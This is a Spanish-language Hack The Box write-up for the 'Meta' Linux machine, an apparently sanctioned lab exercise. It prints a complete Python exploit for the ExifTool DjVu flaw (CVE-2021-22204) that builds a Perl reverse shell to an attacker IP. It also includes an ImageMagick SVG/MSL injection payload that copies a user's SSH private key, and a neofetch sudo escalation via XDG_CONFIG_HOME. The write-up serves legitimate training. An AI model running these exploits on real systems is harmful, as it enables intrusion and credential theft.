Home Hackthebox Writeup Meta
Post
Cancel

Hackthebox Writeup Meta

En la fase de enumeración encontramos que en el servicio web se aplica Virtual Hosting y buscando subdominios encontramos una página para extraer Metadatos usando la herramienta exiftool. Encontramos una vulnerabilidad para obtener Remote Code Execution (RCE) con la subida de una imagen maliciosa (CVE-2021-22204) y obtener una shell. Ahora listamos procesos de otros usuarios del sistema con la utilidad pspy y encontramos un ataque XML Inyection para una versión de la herrramienta ImageMagick (CVE-2020-29599), permitiendo RCE y obtener una shell como cierto usuario. Para la escalada encontramos el binario neofetch que podemos ejecutar como root y asignando a su archivo de configuración un comando para activar el modo privilegiado bash -p, ejecutar el binario y ser root.


Meta

OSIPRelease DateDifficultyPoints
Linux10.10.11.14022 Jan 2022Medium30

Antes de empezar la máquina es importante revisar si tenemos conexión con ella, para ello usamos el comando ping:

Ping

Explicación de parámetros:

-c <count> : Número de paquetes ICMP que deseamos enviar a la máquina

Sistema Operativo por aprox. del TTL (Time To Live) : 64 -> Linux | 128 -> Windows

Enumeration


Comenzamos escaneando los puertos TCP abiertos con la herramienta nmap:

Nmap

Explicación de parámetros :

-p- : Escanear todos los puertos, del 1 al 65,535

--open : Escanear solo puertos abiertos

-sS : Solo enviar paquetes de tipo SYN (inicio de conexión), incrementa velocidad del escaneo

--min-rate <number> : Enviar una taza (<number>) de paquetes por segundo como mínimo

-v : Imprimir información del proceso del escaneo

-n : No buscar nombres de dominio asociadas a la IP en cuestión (rDNS)

-oG <file> : Guardar output en un archivo (<file>) de formato grepable

Observamos que la máquina tiene abierto el puerto 22 (ssh) y 80 (http), asi que procedemos a escanear de manera específica cada uno de estos puertos:

OpenPortsTCP

Explicación de parámetros :

-p<port_1,port_2,...> : Indicamos que puertos queremos escanear

-sC : Ejecutar en los puertos scripts por defecto de nmap

-sV : Activar detección de versiones de los servicios que corren por los puertos

-oN <file> : Guardar el output del escaneo en un archivo con formato Nmap

Omitimos entrar por el puerto 22 ya que no disponemos de credenciales para entrar por SSH.

Vemos que hay un servicio http en el puerto 80, así que ejecutamos whatweb para obtener un poco de información del servicio http y en paralelo entramos a la página web de la máquina en el navegador. En ambos casos obtenemos un código de estado HTTP 301 Moved Permanently el cuál impide comunicarnos con el servidor pero existe una redirección de la misma:

Whatweb

Htpp

Encontramos una redirección a http://artcorp.htb, para estas situaciones aplicamos Virtual Hosting agregando el nombre de dominio al directorio /etc/hosts : echo "10.10.11.140 artcorp.htb" >> /etc/hosts

WebServer

Una vez dentro escanemos directorios de la web por fuerza bruta. Para ello utilizamos la herramienta wfuzz, pero no encontramos nada interesante. Con la misma herramienta aplicamos búsqueda de subdominios y encontramos uno:

searchSubdomains

Explicación de parámetros :

-c : Output a colores

-t <number> : Números de hilos para ejecutar tareas en paralelo

--hc=<status_code> : Ocultar respuestas con el código asignado

--hh=<character_number> : Ocultar respuestas con la cantidad de caracteres asignados

-w <wordlist> : Asignamos el wordlist para la búsqueda

-u <url> : Especificamos la url para la solicitud

-H <Headers> : Especificamos el header a utilizar, en este caso HOST el cuál representa el nombre de dominio y remplazamos la palabra FUZZ como el campo subdominio

Con el nombre de subdominio encontrado dev01.artcorp.htb, al igual que antes lo agregamos a nuestro archivo /etc/hosts: echo "10.10.11.140 dev01.artcorp.htb" >> /etc/hosts

Una vez dentro encontramos una ruta con una herramienta para subir un archivo y extraer metadatos, subimos un archivo de prueba .txt para ver el output que genera y nos damos cuenta que solo se permite subir archivos png/jpg. Subimos una imagen, logramos ver los metadatos y por el formato de salida nos damos cuenta que el programa usa la herramienta exiftool.

Exiftool

Foothold


Encontramos una vulnerabilidad que consiste en subir una imagen maliciosa y obtener ejecución remota de comandos (CVE-2021-22204). Para explotarlo hice un script en Python a mi manera basandome en algunas referencias de otros exploits:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#!/usr/bin/python3

import sys
import subprocess
import os
import base64
import pdb
from PIL import Image
from termcolor import cprint

#colors
printRed = lambda s: cprint(s, 'red', end=' ')
printYellow = lambda s: cprint(s, 'yellow', end=' ')
printMagenta = lambda s: cprint(s, 'magenta', end=' ')
printGreen = lambda s: cprint(s, 'green', end=' ')

#panel_help
def help():
    printYellow("\n[*] Uso : ")
    printMagenta(f"python3 {sys.argv[0]} <ip_address> <port>")
    exit(1)  

#valid_input
if len(sys.argv) != 3: help()

#check if djvumake and exiftool is installed
def checkTools():
    check_djvu = os.popen('which djvumake', 'r')
    check_exif = os.popen('which exiftool', 'r')
    if check_djvu == "":
        exit(printGreen("\n[!] djvumake not installed. Install by running command : sudo apt install djvulibre-bin"))
    elif check_exif == "":
            exit(printGreen("\n[!] exiftool not installed. Install by running command : sudo apt install exiftool"))
    elif check_exif == "" and check_djvu == "":
        exit(printGreen("\n[!] djvumake and exiftool not installed. Install by running command : sudo apt install djvulibre-bin exiftool"))
    else:
        return

#generate image
def create_image():
    img = Image.new('RGB', (50, 50), color='blue')
    img.save('payload.jpg')

#build the payload
def gen_payload(ip_address, port):
    payload = b"(metadata \"\c${use MIME::Base64;eval(decode_base64('"
    payload += base64.b64encode( set_shell(ip_address, port).encode() )
    payload += b"'))};\")"
    return payload

#Asign Shell
def set_shell(ip_address, port):
    reverse_shell = f'''use Socket;
			socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
			if(connect(S,sockaddr_in({port},inet_aton('{ip_address}'))))
			{
				open(STDIN,'>&S');
				open(STDOUT,'>&S');
				open(STDERR,'>&S');
				exec('/bin/sh -i');
			};
			'''
    return reverse_shell

#create payload_file
def gen_payload_file(payload):
    payload_file = open('payload', 'w')
    payload_file.write(payload.decode('utf-8'))
    payload_file.close()

#create config_file
def gen_config_file():
    filename = "configfile"
    content = '''%Image::ExifTool::UserDefined = (
        # All EXIF tags are added to the Main table, and WriteGroup is used to
        # specify where the tag is written (default is ExifIFD if not specified):
        'Image::ExifTool::Exif::Main' => {
            # Example 1.  EXIF:NewEXIFTag
            0xc51b => {
               Name => 'HasselbladExif',
               Writable => 'string',
               WriteGroup => 'IFD0',
            },
            # add more user-defined EXIF tags here...
       },
    );
    1; #end%
    '''
    with open(filename, 'w') as f:
        print(content, file=f)
    
#execute malicious image
def run():
    subprocess.run(['bzz', 'payload', 'payload.bzz'])
    subprocess.run(['djvumake', 'exploit.djvu', 'INFO=1,1', 'BGjp=/dev/null', 'ANTz=payload.bzz'])
    subprocess.run(['exiftool', '-config', 'configfile', '-HasselbladExif<=exploit.djvu', 'payload.jpg'])

#remove others files
def remove_files():
    subprocess.run(['rm', 'configfile', 'exploit.djvu', 'payload', 'payload.bzz', 'payload.jpg_original'])

#main
if __name__ == '__main__':
    
    ip_address = sys.argv[1]
    port = sys.argv[2]
     
    checkTools()
    create_image()
    payload = gen_payload(ip_address, port)
    gen_config_file()
    gen_payload_file(payload)
    run()

    remove_files()



#References
#---------------------------------------------------------------------------------
#https://github.com/convisolabs/CVE-2021-22204-exiftool
#https://github.com/LazyTitan33/ExifTool-DjVu-exploit/blob/main/CVE-2021.22204.py
#https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py

Pueden clonar el exploit en mi repositorio: https://github.com/E1P0TR0

Una vez descargado le dan permisos de ejecución chmod +x exploit.py, le asignamos nuestra IP y el puerto por el cuál nos pondremos en escucha para recibir la shell:

CVE-2021-22204

Uso: ./exploit.py <nuestra IP> <puerto de escucha>

Ya tendremos la imagen maliciosa payload.jpg, ahora nos pondremos a escucha por el puerto especificado nc -lvp 1234 y nos dirigimos a la web para subir el archivo y entrar como el usuario www_data, como siempre hacemos tratamiento de la tty para tener una consola interactiva:

Tratamiento de la tty :

script /dev/null -c bash

(Ctrl + z)

stty raw -echo; fg

reset xterm

export SHELL=bash

export TERM=xterm

Intentamos buscar otros usuarios y encontramos a thomas el cuál contiene la flag, pero no tenemos permisos para verla:

Permisison_Denied

Usamos la herramienta pspy para obtener información de procesos que ejecutan otros usuarios en el sistema, con esto podemos tener una brecha para acceder al usuario thomas. Pueden descargar la herramienta en el siguiente repositorio: https://github.com/DominicBreuker

Una vez descargado lo pasamos a la máquina victima con la herramienta wget y compartiendo un servidor http con python3:

En nuestra máquina :

  1. Nos dirigimos al directorio en donde tenemos el binario

  2. Abrimos un servidor http con python3: python3 -m http.server <port>

En la máquina víctima :

  1. Nos dirigimos a un directorio para descargar archivos sin problemas (/tmp)

  2. Ya comprobado que la máquina tiene wget: wget http://nuestra_IP:<port>/nombre_del_binario

Pspy_Share

Ahora solo queda darle permisos de ejecución al binario, lo compilamos y esperando unos minutos logramos identificar los procesos /usr/local/bin/convert_images.sh y /usr/local/bin/mogrify con UID=1000, el cual pertenece al usuario thomas:

Mogrify

Al ver el binario convert_images.sh observamos que se dirige a una determinada carpeta y luego con mogrify convierte a formato .png todos los archivos:

Conver_images

Investigando un poco de mogrify nos damos cuenta que es parte de la herramienta ImageMagick, entonces buscamos la version para ver si es vulnerable:

ImageMagick

Tenemos la versión ImageMagick 7.0.10-36, buscando en internet encontramos una vulnerabilidad (CVE-2020-29599), la cuál nos permite inyectar comandos a través del parámetro -authenticate que es vulnerable al momento de asignar una contraseña a un archivo PDF encriptado.

CVE-2020-29599

En el siguiente enlace puede ver el artículo donde se analiza a detalle dicha vulnerabilidad: https://insert-script.blogspot.com/2020/11/imagemagick-shell-in jection-via-pdf.html

Primero nos dirigimos a un directorio de prueba /tmp y creamos un archivo de formato .svg poc.svg con el siguiente contenido:

1
2
3
4
5
6
7
8
9
<image authenticate='ff" `echo $(cat /home/thomas/.ssh/id_rsa | base64)> /home/thomas/private_key`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

Con lo anterior nuestro objetivo es entrar como el usuario thomas, y sabiendo que podemos ejecutar comandos, entonces intentamos visualizar la llave privada de thomas, encodearla con base64 para tener un mejor formato y por último ponerle un nombre private_key y ubicarla en un directorio donde podamos visualizarla /home/thomas/.

Ya tenemos el archivo listo, ahora en base al script convert_images.sh lo copiamos a la ruta /var/www/dev01.artcorp.htb/convert_images/, ejecutamos dicho script y en cuestión de algunos segundos nos dirigimos a la carpeta asiganada anteriormente en la cuál encontraremos la llave privada encodeada:

Private_key

Solo queda ordenarla, decodearla, guardarla en nuestro equipo para entrar por SSH como el usuario thomas y ver la flag:

En la máquina víctima:

  1. Ejecutamos: cat private_key | tr ' ' '\n' | base64 -d

  2. Copiamos el output

En nuestra máquina:

  1. Creamos un archivo: touch id_rsa

  2. Pegamos el output, guardamos

  3. Le damos permisos: chmod 600 id_rsa

Thomas_flag

Explicación parámetros :

-i <identify_file> : Especificar la ubicación de la clave privada del cliente que usamos para logearnos al servidor ssh

Privilege Escalation


El último paso que nos queda es escalar como usuario root, para ello primero podemos ejecutar ciertas técnicas clásicas como buscar binarios con permisos SUID o listar binarios que podemos ejecutar como usuario root:

Sudo_l

No encontramos binarios con permisos SUID, pero existe el binario neofetchque podemos ejeutar como root.

Averiguando un poco en internet sabemos que neofetch es un script en bash que nos proporciona información de nuestro equipo y sistema por medio de la terminal:

Neofetch_Sudo

Además se menciona que existe una configuración de usuario en cierta ruta:

Neofetch_Config_file

Buscamos ese archivo de configuración:

Neofetch_Config_Thomas

Contenido del archivo de configuración de thomas:

Neofetch_Config_data

Entonces lo que necesitamos ahora es manipular el archivo de configuración del usuario root y con ello obtener una brecha para convertirnos en usuario root

Para esto, si retrocedemos al momento de ejecutar sudo -l para ver los binarios que podemos ejecutar como usuario, notamos una Variable de entorno:

XDG_CONFIG_HOME

Buscando en internet obtenemos el significado:

XDG_CONFIG_HOME_data

Ahora lo que debemos hacer es asignar a la variable de entorno nuestra ruta de archivo de configuración de neofetch para que a la hora de ejecutarlo como root, forcemos la lectura de nuestro archivo de configuración y podamos ejecutar lo necesario para acceder como root:

XDG_CONFIG_HOME_export

Por último, agregamos a nuestro archivo de configuración /bin/bash -p, ejecutamos el binario como usuario root y pa-dentro!:

LIKE_Root

Explicación de comandos usados :

sed -i : Permite editar archivos en diferentes lugar, en esta ocasión agregando 1i seguido de “/bin/bash -p” para agregarlo al incio del archi vo .config y sea lo primero que se ejecute

sudo -u <user> : Permite ejecutar comandos como el usuario asignado

Por otro lado para /bin/bash:

-p : Este parámetro se utiliza para activar el modo privilegiado y mantener el userid del usuario que lanza la bash


This post is licensed under CC BY 4.0 by the author.